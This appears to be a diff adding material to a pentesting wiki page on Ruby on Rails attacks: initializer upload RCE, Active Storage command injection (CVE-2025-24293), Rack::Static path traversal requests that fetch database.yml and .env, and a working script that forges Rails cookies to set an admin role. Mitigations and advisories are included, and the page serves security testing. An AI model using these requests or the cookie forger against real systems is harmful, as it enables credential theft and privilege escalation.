Add content from: Research Update: Enhanced src/network-services-pentesting/pe...

src/network-services-pentesting/pentesting-web/ruby-tricks.md

@@ -6,7 +6,95 @@
 
 As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
 
+Tips:
+- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot.
+- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
+
+## Active Storage image transformation → command execution (CVE-2025-24293)
+
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
+
+- A vulnerable pattern looks like:
+  ```erb
+  <%= image_tag blob.variant(params[:t] => params[:v]) %>
+  ```
+  where `params[:t]` and/or `params[:v]` are attacker-controlled.
+
+- What to try during testing
+  - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
+  - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
+  - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+
+- Remediation/detections
+  - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+
+## Rack::Static LFI / path traversal (CVE-2025-27610)
+
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
+
+- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+  ```text
+  GET /assets/%2e%2e/%2e%2e/config/database.yml
+  GET /favicon.ico/..%2f..%2f.env
+  ```
+  Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+
+- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+
+## Forging/decrypting Rails cookies when `secret_key_base` is leaked
+
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+
+Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+```ruby
+require 'cgi'
+require 'json'
+require 'active_support'
+require 'active_support/message_encryptor'
+require 'active_support/key_generator'
+
+secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
+raw_cookie = CGI.unescape(ARGV[0])
+
+salt   = 'authenticated encrypted cookie'
+cipher = 'aes-256-gcm'
+key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
+secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
+enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+
+plain = enc.decrypt_and_verify(raw_cookie)
+puts "Decrypted: #{plain.inspect}"
+
+# Modify and re-encrypt (example: escalate role)
+plain['role'] = 'admin' if plain.is_a?(Hash)
+forged = enc.encrypt_and_sign(plain)
+puts "Forged cookie: #{CGI.escape(forged)}"
+```
+Notes:
+- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
+- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
+
+## See also (Ruby/Rails-specific vulns)
+
+- Ruby deserialization and class pollution:
+  {{#ref}}
+  ../../pentesting-web/deserialization/README.md
+  {{#endref}}
+  {{#ref}}
+  ../../pentesting-web/deserialization/ruby-class-pollution.md
+  {{#endref}}
+  {{#ref}}
+  ../../pentesting-web/deserialization/ruby-_json-pollution.md
+  {{#endref}}
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
+  {{#ref}}
+  ../../pentesting-web/ssti-server-side-template-injection/README.md
+  {{#endref}}
+
+
+
+## References
+
+- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
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